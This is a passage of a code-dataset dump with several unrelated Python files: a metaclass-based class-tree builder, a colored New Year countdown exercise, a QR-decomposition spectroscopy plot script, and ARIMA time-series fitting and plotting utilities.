('Registering type', name)\n            attrs['type'] = name\n            attrs.setdefault('_allowed_childs', [])\n\n        R.cls_counter += 1\n        attrs['_id'] = R.cls_counter\n        # ncls = super(TypeMetaClass, cls).__new__(cls, name, bases, attrs)\n        ncls = type.__new__(cls, name, bases, attrs)\n        if orig_bases:\n            out(ncls.__name__, 'orig_bases', out_clses(orig_bases))\n        if R.hirarchy_built:\n            # if name == 'NB':\n            #    import pdb; pdb.set_trace()\n            if '_parent' in attrs:\n                out('returning', ncls.__name__)\n                return ncls\n        if orig_bases:\n            R.classes.set(ncls, orig_bases)\n            for m in mxins:\n                if hasattr(m, 'func_name'):\n                    m(ncls)\n                else:\n                    out(\n                        'Adding %s to %s %s'\n                        % (name, R.mixins[m]['orig'].__name__, m.__name__)\n                    )\n                    R.mixins[m]['members'].append(ncls)\n            out('built class', ncls.__name__, out_clses(R.classes.get(ncls)))\n            return ncls\n        if not R.hirarchy_built:  # and len(R.hirarchy):\n            if R.hirarchy:\n                R.hirarchy[-1:][0]._allowed_childs.append(ncls)\n            ncls._hirarchy = len(R.hirarchy)\n        R.hirarchy.append(ncls)\n        return ncls\n\n    def __repr__(cls):\n        p = getattr(cls, '_parent', None)\n        if p:\n            # an object within an exploded tree:\n            return fidstr(cls)\n\n        if isinstance(p, pystring):\n            p = 'prebound(%s)' % p\n        elif isinstance(p, type(None)):\n            p = 'type'\n        else:\n            if not getattr(p, '_parent', None):\n                p = ''\n            else:\n                p = ' [%s]' % p\n        return '%s.%s.%s%s' % (\n            cls.type,\n            getattr(cls, 'name', ''),\n            getattr(cls, '_id', 0),\n            p,\n        )\n\n\nclass T(object, metaclass=TypeMetaClass):\n    descr = None\n\n    @classmethod\n    def all(cls, type, **kw):\n        def filter(o, kw):\n            for k, v in kw:\n                if getattr(o, k, None) == v:\n                    return True\n\n        # depends on root._all_<type>s to be set in build time:\n        res = [\n            o for o in getattr(cls._parents[0], '_all_%ss' % type) if cls in o._parents\n        ]\n        if not kw:\n            return res\n        kw = list(kw.items())\n        return [o for o in res if list(filter(o, kw))]\n\n\nclass AXCTreeObj(T):\n    pass\n\n\n# T = cls_with_meta(TypeMetaClass, {'descr': None})\n\n\ndef has_parent(c):\n    return getattr(c, '_parent', None)\n\n\ndef descr(c):\n    'up the mro to find any descr or __doc__'\n    d = []\n    for b in mro(c):\n        if b in R.hirarchy:  # this is a type not a class\n            break\n        dd = getattr(b, 'descr', None)\n        if dd and not dd in d:\n            d.append(dd)\n        else:\n            dd = b.__doc__\n            if dd and not dd in d:\n                d.append(dd)\n    return '.'.join(d)\n\n\ndef has_typ(c):\n    try:\n        return hasattr(c, 'type')\n    except:\n        pass\n\n\ndef add_to(*dests, **kw):\n    'convenience wrapper for add_cls - from spec'\n    dests = _list(dests)\n    for parent in dests:\n        for k, childs in list(kw.items()):\n            for child in _list(childs):\n                if not child.type == k:\n                    raise Exception(\"Can't add: %s is no %s\" % (child, k))\n                add_cls(parent, child)\n\n\ndef add_cls(parent, child):\n    \"\"\" called from the spec \"\"\"\n    check_allow_add(parent, child)\n    out('    adding %s to %s' % (child, parent))\n    # R.cls_counter += 1\n    new_sub = type.__new__(\n        TypeMetaClass,\n        child.__name__,\n        (child,),\n        {'_parent': parent, '_id': R.cls_counter},\n    )\n    # new_sub = type(child.__name__, (child,), {'_parent': parent})\n    setattr(parent, child.__name__, new_sub)\n    return new_sub\n\n\ndef set_bases_as_attrs(name, b0, orig_bases, attrs):\n    \"\"\" type hirarchy is built at this point\n    Our job now is to pop those bases (and add them as subclasses which\n    registered already).\n    If registered as mixin then we create new R.mixins or resolve - see below\n    \"\"\"\n\n    def add_local(b0, name, sub, parent_attrs, lms=None):\n        \"\"\"\n        \"\"\"\n        msg = 'Error trying to add %s(%s) to %s: ' % (sub, name, b0)\n        try:\n            check_allow_add(b0, sub)\n        except HirarchyErr:\n            if not lms:\n                raise Exception(msg + ' no mro based sub')\n            for i in range(len(lms), 0, -1):\n                l = lms[i - 1]\n                try:\n                    t = add_cls(l, sub)\n                    return t\n                except HirarchyErr:\n                    lms.pop(i - 1)\n            raise Exception(msg + 'check_allow_add failed')\n        bn = sub.__name__\n        out('    adding {0} to {1}'.format(sub.__name__, name))\n        # parent_attrs[bn] = t = type(bn, (sub,), {'_parent': name})\n        # won't work with R.mixins, is basically creating a class also for python=0:\n        parent_attrs[bn] = t = type.__new__(\n            TypeMetaClass, bn, (sub,), {'_parent': name}\n        )\n        parent_attrs.setdefault('_from_mro', []).append(t)\n        out('parent_attrs', len(parent_attrs), list(parent_attrs.keys()))\n        return t\n\n    mxins = []\n\n    def new_mixin(ncls, b0, orig_mixin):\n        if ncls in R.mixins:\n            raise Exception('mixin %s already defined' % ncls)\n        R.mixins[ncls] = {'members_cls': b0, 'members': [], 'orig': orig_mixin}\n\n    mx = R.mixins.get(b0)\n    if mx:\n        # class NBI(AXESS) where AXESS is a group\n        # -> we set group='AXESS' and b0 to Service\n        mxins.append(b0)  # this will add this new cls to b0's members,\n        # we don't have it yet\n        attrs[mx['orig'].__name__] = b0.__name__\n        b0 = mx['members_cls']\n        attrs['type'] = b0.type\n\n    new_bases = [b0]\n    lms = []  # last added mro based sub\n    out('orig_bases', out_clses(orig_bases))\n    out('orig_bases1', out_clses(orig_bases[1:]))\n    for b in orig_bases[1:]:\n        out('base', b.__name__)\n        if b in R.mixins:\n            # a mixin type in the bases: class AXESS(Service, Group)\n            # -> we'll create a NEW mixin, but with a members_type,\n            # e.g. Service\n            # if such a members_cls is alredy set, then we resolve\n            # e.g. class Foo(Role, AXESS), AXESS is such a mx-> resolve\n            mx = R.mixins[b]\n            if 'members_cls' in mx:\n                out('    resolving all members of %s' % b.__name__)\n                for m in mx['members']:\n                    # lms = [add_local(b0, name, sub=m, parent_attrs=attrs)]\n                    lms = [add_local(b0, name, m, attrs)]\n            else:\n                # create new\n                mxins.append(lambda ncls: new_mixin(ncls, b0, b))\n        elif b in R.hirarchy:\n            out(\n                'you should instantiate your inner classes from R.hirarchy type classes'\n            )\n            import pdb\n\n            pdb.set_trace()\n        elif R.classes.get(b):\n            # lms.append(add_local(b0, name, sub=b, parent_attrs=attrs, lms=lms))\n            lms.append(add_local(b0, name, b, attrs, lms))\n        else:\n            # normal superclass:\n            new_bases.append(b)\n    return tuple(new_bases), orig_bases, mxins, attrs\n\n\ndef allow(*what, **on):\n    # def allow(what):\n    # 'allow((this, that), (onthis, onthat))'\n    # what, on = what[0], what[1]\n    on = on['on'] if isinstance(on['on'], (list, tuple)) else (on['on'],)\n    for o in on:\n        for w in what:\n            o._allowed_childs.append(w)\n\n\ndef _list(s):\n    if s and isinstance(s, tuple) and isinstance(s[0], (tuple, list)):\n        s = s[0]\n    return list(s) if isinstance(s, (list, tuple)) else [s]\n\n\n# ------------------------------------------------------------ Tools\ndef lazy(d, key, func_if_missing, args):\n    \"\"\" a lazy setdefault effectively. Often useful\"\"\"\n    if key in d:\n        return d[key]\n    d[key] = func_if_missing(*args)\n    return d[key]\n\n\n# ------------------------------------------------------------ Explore the Tree\ndef props(c):\n    # keys = [k for k in dir(c) if not k.startswith('_')]\n    l = [(k, getattr(c, k)) for k in dir(c) if not k.startswith('_')]\n    return [i for i in l if not hasattr(i[1], 'func_name') and not i[0] == 'all']\n\n\nsimple_types = (float, int, bool, pystring)\n\n\ndef simple_props(c):\n    res = [(k, v) for k, v in props(c) if isinstance(v, simple_types)]\n    return res\n\n\nstruct_types = (float, int, bool, pystring, dict, list, tuple)\n\n\ndef struct_props(c):\n    'still serializable but with dicts and lists'\n    res = [(k, v) for k, v in props(c) if isinstance(v, struct_types)]\n    return res\n\n\ndef walk_tree(cur, pre=None, post=None, match=None, res=None, cfg=None, level=0):\n    \"\"\"\n    Recursing the class tree, starting from a given root node (cur).\n    the result is mutated\n    pre, post, match = callables\n    \"\"\"\n    if not match:\n        match = has_typ\n    if res is None:\n        res = []\n    level += 1\n    if pre:\n        pre(cur, res, level, cfg)\n    if not cfg or cfg.get('stop_recursion') != cur.type:\n        for k in ordered_childs(cur, match):\n            walk_tree(k, pre, post, match, res, cfg, level=level)\n    if post:\n        post(cur, res, level, cfg)\n    return res\n\n\ndef setup(root):\n    \"\"\" configure all prebound classes \"\"\"\n    cfg = {'hashes': [], 'root': root}\n    out('walking tree', root.__name__)\n    root._level = root._hir = 0\n    root._parents = [root]\n\n    # register (API): _all_<type>s, e.g. _all_clusters\n    def type_list_n(c):\n        return '_all_' + c.type.lower() + 's'\n\n    for h in R.hirarchy:\n        setattr(root, type_list_n(h), [])\n\n    def pre(cur, res, level, cfg):\n        root = cur._root = cfg['root']\n        getattr(root, type_list_n(cur)).append(cur)\n        if cur != root:\n            cur._parents = list(cur._parent._parents)\n            # c._cluster -> Cluster.foo\n            for c in cur._parents:\n                setattr(cur, '_%s' % c.type.lower(), c)\n\n            cur._parents.append(cur)\n\n        return unordered_childs(cur, has_typ, level)\n\n    walk_tree(root, pre=pre, post=None, match=has_typ, cfg=cfg)\n    R.hirarchy_built = R.hir_postconfigured\n    root.descr = descr(root)\n    R.Root = root\n    root._hirarchy_list = R.hirarchy\n    return root\n\n\ncreate_tree = setup\n\n\ndef scale(c, into, n):\n    for i0 in range(n):\n        i = i0 + 1\n        name = c.name + str(i)\n        t = type(name, (c,), {})\n        t.__doc__ = c.__doc__\n        into[name] = t\n\n\ndef unordered_childs(parent, match, level=None):\n\n    # if parent.name == 'NB':\n    #    import pdb; pdb.set_trace()\n    c = getattr(parent, '_childs', None)\n    if c:\n        return c\n    childs = [(k, v) for k, v in props(parent) if match(v)]\n    if not childs:\n        _childs = childs\n    else:\n        # we sort class childs by mro order, e.g. NB(N, A, B, C) ->\n        # _childs = [A, B, C] even if C._id < A._id since defined earlier:\n        try:\n            pmro = parent._from_mro\n            childs.sort(key=lambda x: pmro.index(x[1]))\n        except Exception as ex:\n            # some parents have no _from_mro\n            childs.sort(key=lambda x: x[1]._id)\n\n        _childs = []\n        for k, v in childs:\n            # v = TypeMetaClass.__new__(TypeMetaClass, v.__name__, (v,), {})\n            R.cls_counter += 1\n            # v = TypeMetaClass.__new__(TypeMetaClass, v.__name__, (v,), {'_id': R.cls_counter})\n            # if not isinstance(v._parent, basestring):\n            #    import pdb; pdb.set_trace()\n            #    v = v.__bases__[0]\n            v = type.__new__(\n                TypeMetaClass,\n                v.__name__,\n                (v,),\n                {'_id': R.cls_counter, '_level': level, '_parent': parent},\n            )\n            setattr(parent, k, v)\n            v.descr = descr(v)\n            _childs.append(v)\n    parent._childs = _childs\n    # parent._childs_ordered = False\n    return _childs\n\n\n# spec API Functions:\ndef ordered_childs(parent, match):\n    # match is always the same,thats why we can store the result:\n    return unordered_childs(parent, match)\n\n\ndef full_id(c, sep=None):\n    res = [o.name for o in c._parents]\n    return sep.join(res) if sep else res\n\n\ndef assign(key, objs, vals):\n    [setattr(_[0], key, _[1]) for _ in zip(objs, vals)]\n\n\ndef setter(key):\n    def set(key, v, *o):\n        for obj in o:\n            setattr(obj, key, v)\n\n    return lambda v, *o: set(key, v, *o)\n\n\n# full id as string:\nfidstr = lambda cls: '.'.join([c.name for c in cls._parents])\n\n\ndef get_spec_root(spec):\n    for k in dir(spec):\n        root = getattr(getattr(spec, k), '_root', None)\n        if root:\n            return root\n    die('Could not determine spec root', spec)\n\n\nif __name__ == '__main__':\n\n    class Project(T):\n        ''\n\n    class Cluster(T):\n        ''\n\n    build_type_hirarchy(root=Project)\n\n    class cluster(Group):\n        class A(Cluster):\n            'A cluster'\n\n        class B(Cluster):\n            'B cluster'\n\n    class MyP(Project, cluster['A'], cluster.B):\n        'Pro'\n\n    setup(MyP)\n    print(('have ', dir(MyP)))\n", "repo_name": "AXGKl/devapps", "sub_path": "src/tree_builder/__init__.py", "file_name": "__init__.py", "file_ext": "py", "file_size_in_byte": 23138, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "sys.path.insert", "line_number": 37, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 37, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 37, "usage_type": "call"}, {"api_name": "os.path", "line_number": 37, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 37, "usage_type": "call"}, {"api_name": "collections.OrderedDict", "line_number": 50, "usage_type": "name"}, {"api_name": "theming.pretty_print.dict_to_txt", "line_number": 52, "usage_type": "call"}, {"api_name": "collections.OrderedDict", "line_number": 58, "usage_type": "name"}, {"api_name": "theming.pretty_print.dict_to_txt", "line_number": 59, "usage_type": "name"}, {"api_name": "json.dumps", "line_number": 59, "usage_type": "call"}, {"api_name": "theming.pretty_print.dict_to_txt", "line_number": 65, "usage_type": "call"}, {"api_name": "tree_builder.render.to_dict", "line_number": 65, "usage_type": "call"}, {"api_name": "sys.stdin.isatty", "line_number": 72, "usage_type": "call"}, {"api_name": "sys.stdin", "line_number": 72, "usage_type": "attribute"}, {"api_name": "sys.stdout.isatty", "line_number": 72, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 72, "usage_type": "attribute"}, {"api_name": "os.environ.get", "line_number": 80, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 80, "usage_type": "attribute"}, {"api_name": "devapp.app.app_func", "line_number": 106, "usage_type": "call"}, {"api_name": "devapp.spec.build.build", "line_number": 106, "usage_type": "name"}, {"api_name": "os.path.exists", "line_number": 112, "usage_type": "call"}, {"api_name": "os.path", "line_number": 112, "usage_type": "attribute"}, {"api_name": "json.loads", "line_number": 116, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 123, "usage_type": "call"}, {"api_name": "os.environ.get", "line_number": 132, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 132, "usage_type": "attribute"}, {"api_name": "{'app_func': 'devapp.app.app_func', 'build': 'devapp.spec.build.build'}.get_stored_if_build", "line_number": 134, "usage_type": "call"}, {"api_name": "{'app_func': 'devapp.app.app_func', 'build': 'devapp.spec.build.build'}.inp.setdefault", "line_number": 144, "usage_type": "call"}, {"api_name": "{'app_func': 'devapp.app.app_func', 'build': 'devapp.spec.build.build'}.inp", "line_number": 144, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 174, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 177, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 192, "usage_type": "attribute"}, {"api_name": "pdb.set_trace", "line_number": 253, "usage_type": "call"}, {"api_name": "pdb.set_trace", "line_number": 264, "usage_type": "call"}, {"api_name": "pdb.set_trace", "line_number": 575, "usage_type": "call"}]}
{"seq_id": "31544881672", "text": "import datetime\nfrom time import sleep\nnada = (\"\\033[0;0m\")\nvermelho = (\"\\033[0;31m\")\namarelo = (\"\\033[0;33m\")\nverde = (\"\\033[0;32m\")\nciano = (\"\\033[0;36m\")\nazul = (\"\\033[0;34m\")\nroxo = (\"\\033[0;35m\")\nprint(\"CONTAGEM REGRESSIVA PARA {}\".format(datetime.date.today().year + 1))\nfor c in range(10, 0, -1): \n    print(c)\n    sleep(1)\nprint(\"{}F{}{}E{}{}L{}{}I{}{}Z{} {}A{}{}N{}{}O{} {}N{}{}O{}{}V{}{}O{}\".format(vermelho, nada, amarelo, nada, verde, nada, ciano, nada, azul, nada, roxo, nada, vermelho, nada, amarelo, nada, verde, nada, ciano, nada, azul, nada, roxo, nada))\n", "repo_name": "leonardoalc/python", "sub_path": "Ex046 Contagem regressiva.py", "file_name": "Ex046 Contagem regressiva.py", "file_ext": "py", "file_size_in_byte": 572, "program_lang": "python", "lang": "pt", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "datetime.date.today", "line_number": 10, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 10, "usage_type": "attribute"}, {"api_name": "time.sleep", "line_number": 13, "usage_type": "call"}]}
{"seq_id": "4852183627", "text": "import numpy as np\nimport matplotlib.pyplot as plt\nimport pickle\n\nfrom CalculatePolarization3 import comb_plot\n\nwith open(\"pol3_matrix.pickle\", \"rb\") as f:\n    data = pickle.load(f)\n\nfrequency = data['freq']\npol3_mat = data['pol3_matrix'].real\n\n\ndef plot_pol3():\n\n    fig, axes = plt.subplots(nrows=2, ncols=1)\n    comb_plot(frequency, pol3_mat[:, 0].real, axes[0], 'k')\n    comb_plot(frequency, pol3_mat[:, 1].real, axes[0], 'b')\n    comb_plot(frequency, pol3_mat[:, 2].real, axes[0], 'r')\n    axes[0].plot(frequency, np.zeros_like(frequency), 'k')\n\n    comb_plot(frequency, pol3_mat[:, 0].imag, axes[1], 'k')\n    comb_plot(frequency, pol3_mat[:, 1].imag, axes[1], 'b')\n    comb_plot(frequency, pol3_mat[:, 2].imag, axes[1], 'r')\n    axes[1].plot(frequency, np.zeros_like(frequency), 'k')\n\nN_comb = 10\nrows, cols = pol3_mat.shape\nprint(rows, cols)\n\nsigma = 0.16\nx = np.linspace(0., 1., rows)\nx = np.linspace(0., 1., 2 * N_comb)\n\ncolors = ['r', 'b', 'k']\n\ndet = np.empty((3, 3))\ndet_noise = np.empty((3, 3))\n\nhet_field = np.empty([cols, 2 * N_comb])\n\n\ndef pol2_basis_change_freq2comb():\n    \"\"\"\n    CALCULATES BASIS CHANGE MATRIX FROM FREQUENCY BASIS TO COMB BASIS: DIM - (N_frequency x N_comb)\n    :return: POLARIZATION MATRIX IN THE COMB BASIS: DIM - (N_frequency x N_molecules)\n    \"\"\"\n    omega_cb = frequency[:, np.newaxis]\n    del_omega1_cb = 1 * np.arange(- N_comb, N_comb)\n    comb_omega1_cb = del_omega1_cb[np.newaxis, :]\n\n    freq2comb_basis = 5e-6 / (\n            (omega_cb - 0.07 - 0.03 - comb_omega1_cb) ** 2 + 5e-6 ** 2\n    )\n    freq2comb_basis /= freq2comb_basis.max()\n    pol3_comb_matrix = freq2comb_basis.T.dot(pol3_mat)\n    return pol3_comb_matrix\n\n\nfor i in range(3):\n    Q_mat, R_mat = np.linalg.qr(np.delete(pol2_basis_change_freq2comb(), i, 1), mode='complete')\n\n    print(Q_mat.real)\n    gaussian = np.sin(2 * (1+i) * np.pi * (x - x.min()) / x.max()) * np.exp(-(x - 0.5) ** 2 / (2 * sigma ** 2))\n    het_field[i] = sum(q * np.vdot(q, gaussian) for q in Q_mat[:, 3:].T)\n    het_field[i] = sum(q for q in Q_mat[:, 3:].T)\n\nfig, axes = plt.subplots(nrows=2, ncols=3)\n\nfor i in range(3):\n    comb_plot(frequency, pol3_mat[:, i] / pol3_mat.max(), axes[0, i], colors[i], alpha=0.75, linewidth=2.)\n    comb_plot(np.arange(20), het_field[i], axes[1, i], colors[i], alpha=0.75, linewidth=2.)\n\n    axes[0, i].set_ylim(-0.025, 1.05)\n    axes[1, i].set_ylim(-3.525, 1.625)\nplt.show()\n", "repo_name": "fieldplay/OFC-Spectroscopy", "sub_path": "Order3/n-OFC/QRD.py", "file_name": "QRD.py", "file_ext": "py", "file_size_in_byte": 2396, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "pickle.load", "line_number": 8, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 16, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 16, "usage_type": "name"}, {"api_name": "CalculatePolarization3.comb_plot", "line_number": 17, "usage_type": "call"}, {"api_name": "CalculatePolarization3.comb_plot", "line_number": 18, "usage_type": "call"}, {"api_name": "CalculatePolarization3.comb_plot", "line_number": 19, "usage_type": "call"}, {"api_name": "numpy.zeros_like", "line_number": 20, "usage_type": "call"}, {"api_name": "CalculatePolarization3.comb_plot", "line_number": 22, "usage_type": "call"}, {"api_name": "CalculatePolarization3.comb_plot", "line_number": 23, "usage_type": "call"}, {"api_name": "CalculatePolarization3.comb_plot", "line_number": 24, "usage_type": "call"}, {"api_name": "numpy.zeros_like", "line_number": 25, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 32, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 33, "usage_type": "call"}, {"api_name": "numpy.empty", "line_number": 37, "usage_type": "call"}, {"api_name": "numpy.empty", "line_number": 38, "usage_type": "call"}, {"api_name": "numpy.empty", "line_number": 40, "usage_type": "call"}, {"api_name": "numpy.newaxis", "line_number": 48, "usage_type": "attribute"}, {"api_name": "numpy.arange", "line_number": 49, "usage_type": "call"}, {"api_name": "numpy.newaxis", "line_number": 50, "usage_type": "attribute"}, {"api_name": "numpy.linalg.qr", "line_number": 61, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 61, "usage_type": "attribute"}, {"api_name": "numpy.delete", "line_number": 61, "usage_type": "call"}, {"api_name": "numpy.sin", "line_number": 64, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 64, "usage_type": "attribute"}, {"api_name": "numpy.exp", "line_number": 64, "usage_type": "call"}, {"api_name": "numpy.vdot", "line_number": 65, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 68, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 68, "usage_type": "name"}, {"api_name": "CalculatePolarization3.comb_plot", "line_number": 71, "usage_type": "call"}, {"api_name": "CalculatePolarization3.comb_plot", "line_number": 72, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 72, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.show", "line_number": 76, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 76, "usage_type": "name"}]}
{"seq_id": "35622881119", "text": "import config as conf\n\nimport string\nimport warnings\nimport shelve\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport seaborn as sns\n\nfrom itertools import product\nfrom pandas.plotting import autocorrelation_plot\nfrom statsmodels.tsa.arima.model import ARIMA\n\npaths = conf.DataFilePaths()\nparams = conf.ARIMA_model_parameters()\n\ndef ARIMA_optimization(\n    data_types: list[str] = ['microbusiness_density'],\n    data_type_strings: list[str] = ['MBD'],\n    lag_orders: list[int] = [2],\n    difference_degrees: list[int] = [0],\n    moving_average_orders: list[int] = [0],\n    block_sizes: list[int] = [37],\n    timepoint_index: int = 0,\n    num_counties: int = 5,\n    suppress_fit_warnings: bool = False\n):\n\n    # Load data column index\n    index = shelve.open(paths.PARSED_DATA_COLUMN_INDEX)\n\n    # Empty dict to hold results\n    fitted_models = {\n        'fitted_model': [],\n        'AIC': [],\n        'BIC': [],\n        'lag_order': [],\n        'difference_degree': [],\n        'moving_average_order': [],\n        'data_type_string': [],\n        'block_size': [],\n        'timepoint_index': [],\n        'num_counties': []\n    }\n\n    # Loop on block sizes\n    for block_size in block_sizes:\n\n        # Load data with block size\n        input_file = f'{paths.PARSED_DATA_PATH}/{params.input_file_root_name}{block_size}.npy'\n        timepoints = np.load(input_file)\n\n        # Loop on data types\n        for data_type_string, data_type in zip(data_type_strings, data_types):\n\n            # Loop on model parameter sets\n            for model_parameter_set in product(lag_orders, difference_degrees, moving_average_orders):\n\n                # Loop on example county indexes\n                for i in range(num_counties):\n\n                    with warnings.catch_warnings():\n\n                        if suppress_fit_warnings == True:\n                            warnings.simplefilter(\"ignore\")\n\n                        # Fit ARIMA model to data type for this county with model parameters\n                        model = ARIMA(pd.Series(timepoints[timepoint_index,i,:,index[data_type]]), order=model_parameter_set)\n                        model_fit = model.fit()\n                        \n                        # Add fitted model to results dict\n                        fitted_models[f'fitted_model'].append(model_fit)\n\n                        # Add AIC and BIC to results dict\n                        fitted_models['AIC'].append(model_fit.aic)\n                        fitted_models['BIC'].append(model_fit.bic)\n\n                        # Add model and data details to results dict\n                        fitted_models['lag_order'].append(model_parameter_set[0])\n                        fitted_models['difference_degree'].append(model_parameter_set[1])\n                        fitted_models['moving_average_order'].append(model_parameter_set[2])\n                        fitted_models['data_type_string'].append(data_type_string)\n                        fitted_models['block_size'].append(block_size)\n                        fitted_models['timepoint_index'].append(timepoint_index)\n                        fitted_models['num_counties'].append(num_counties)\n\n    fitted_models_df = pd.DataFrame(fitted_models)\n\n    return fitted_models_df\n\ndef plot_timeseries(\n    data_types: list[str] = ['microbusiness_density'],\n    data_type_strings: list[str] = ['raw MBD'],\n    num_counties: int = 5,\n    block_size: int = 37,\n    plot_height: float = 2.25,\n    fig_width: int = 8\n):\n    # Load data column index\n    index = shelve.open(paths.PARSED_DATA_COLUMN_INDEX)\n\n    # Load data with block size\n    input_file = f'{paths.PARSED_DATA_PATH}/{params.input_file_root_name}{block_size}.npy'\n    timepoints = np.load(input_file)\n\n    fig, ax = plt.subplots(\n        nrows = len(data_types), \n        ncols = 1, \n        figsize=(\n            fig_width, # width\n            len(data_types) * plot_height # height\n        )\n    )\n\n    for plot_num, data_type in enumerate(zip(data_type_strings, data_types)):\n        for i in range(num_counties):\n                \n            ax[plot_num].plot(list(range(len(timepoints[0,1,:,2]))), timepoints[0,i,:,index[data_type[1]]])\n\n        ax[plot_num].set_xlabel(f'Timepoint')\n        ax[plot_num].set_ylabel(data_type[0])\n\n    plt.suptitle('Example time courses by county')\n    plt.tight_layout()\n\n    return plt\n\ndef plot_autocorrelation(\n    data_types: list[str] = ['microbusiness_density'],\n    data_type_strings: list[str] = ['raw MBD'],\n    num_counties: int = 5,\n    block_size: int = 37,\n    plot_height: float = 2.25,\n    fig_width: int = 8\n):\n    # Load data column index\n    index = shelve.open(paths.PARSED_DATA_COLUMN_INDEX)\n\n    # Load data with block size\n    input_file = f'{paths.PARSED_DATA_PATH}/{params.input_file_root_name}{block_size}.npy'\n    timepoints = np.load(input_file)\n\n    fig, ax = plt.subplots(\n        nrows = len(data_types), \n        ncols = 1, \n        figsize=(\n            fig_width, # width\n            len(data_types) * plot_height # height\n        )\n    )\n\n    for plot_num, data_type in enumerate(zip(data_type_strings, data_types)):\n        for i in range(num_counties):\n                \n            autocorrelation_plot(pd.Series(timepoints[0,i,:,index[data_type[1]]]), ax=ax[plot_num])\n\n        ax[plot_num].set_title(data_type[0])\n\n    plt.suptitle('Example autocorrelation by county')\n    plt.tight_layout()\n\n    return plt\n\ndef plot_residuals(\n    fitted_models_df: pd.DataFrame,\n    plot_rows: list[int] = [0],\n    plot_cols: list[int] = [0],\n    title_template: str = 'Model fit residuals',\n    plot_dim: int = 2,\n    plot_density: bool = False      \n):\n    grouped_fitted_models_df = fitted_models_df.groupby([\n        'block_size',\n        'num_counties',\n        'data_type_string',\n        'lag_order',\n        'difference_degree',\n        'moving_average_order'\n    ])\n\n\n    fig, ax = plt.subplots(\n        nrows = len(plot_rows), \n        ncols = len(plot_cols), \n        figsize=(\n        len(plot_cols) * plot_dim, # width\n        len(plot_rows) * plot_dim  # height\n        )\n    )\n\n    # loop on groupby object and product of row & column lists\n    for model_group, subplot in zip(grouped_fitted_models_df, product(plot_rows, plot_cols)):\n\n        # Get group name (containing model parameters) and dataframe from groupby\n        model_parameters = model_group[0]\n        model_df = model_group[1]\n\n        # Extract model parameters from this group\n        values = {\n            'block_size': model_parameters[0],\n            'num_counties': model_parameters[1],\n            'data_type_string': model_parameters[2],\n            'lag_order': model_parameters[3],\n            'difference_degree': model_parameters[4],\n            'moving_average_order': model_parameters[5]\n        }\n\n        for fitted_model in model_df['fitted_model']:\n            residuals = pd.DataFrame(fitted_model.resid)\n\n            if plot_density == False:\n                residuals.plot(legend=False, ax=ax[subplot])\n                ax[subplot].set_xlabel(f'Timepoint')\n                ax[subplot].set_ylabel(f'Fit residual')\n\n            elif plot_density == True:\n                residuals.plot(kind='kde', legend=False, ax=ax[subplot])\n                ax[subplot].set_xlabel(f'Fit residual')\n                ax[subplot].set_ylabel(f'Density')\n\n            t = string.Template(title_template)\n            ax[subplot].set_title(t.substitute(values))\n\n    if plot_density == False:\n        plt.suptitle('ARIMA models: fit residuals timeseries', weight='bold')\n\n    elif plot_density == True:\n        plt.suptitle('ARIMA models: fit residuals density', weight='bold')\n\n    plt.tight_layout()\n\n    return plt\n\ndef model_performance_boxplot(\n    fitted_models_df: pd.DataFrame,\n    x_variable: str = 'data_type',\n    x_axis_label: str = 'Model',\n    hue_by: str = 'lag_order',\n    fig_height: int = 6,\n    fig_width: int = 12,\n    rotate_x_axis_labels = False\n\n):\n\n    # Make the plots\n    fig, ax = plt.subplots(\n        nrows = 2,\n        ncols = 1,\n        figsize=(\n            fig_width, # width\n            fig_height # height\n        )\n    )\n\n    sns.boxplot(\n        data=fitted_models_df, \n        x=x_variable,\n        y='AIC',\n        hue=hue_by,\n        ax=ax[0]\n    )\n\n    ax[0].set(\n        xlabel=x_axis_label, \n        ylabel='AIC score', \n        title='Model AIC scores'\n    )\n\n    if rotate_x_axis_labels == True:\n        ax[0].tick_params(axis='x', rotation=15)\n\n    sns.boxplot(\n        data=fitted_models_df, \n        x=x_variable,\n        y='BIC',\n        hue=hue_by,\n        ax=ax[1]\n    )\n\n    ax[1].set(\n        xlabel=x_axis_label, \n        ylabel='BIC score', \n        title='Model BIC scores'\n    )\n\n    if rotate_x_axis_labels == True:\n        ax[1].tick_params(axis='x', rotation=15)\n\n    plt.tight_layout()\n    \n    return plt\n\ndef parse_results(\n    input_file: str = f'{paths.BOOTSTRAPPING_RESULTS_PATH}/{params.output_file_root_name}.parquet'      \n):\n    # Load data\n    data_df = pd.read_parquet(input_file)\n\n    # Calculate the final SMAPE score for each sample in each condition\n    sample_smape_scores_df = data_df.groupby([\n        'sample',\n        'model_type',\n        'block_size',\n        'lag_order',\n        'difference_degree',\n        'moving_average_order'\n    ])[['public_SMAPE', 'private_SMAPE']].mean()\n\n    # Rename columns to reflect the change from SMAPE values for a single prediction to\n    # SMAPE scores within a sample\n    #sample_smape_scores_df.rename(inplace=True, columns={'SMAPE_value': 'SMAPE_score'})\n\n    # Add log SMAPE score column for plotting\n    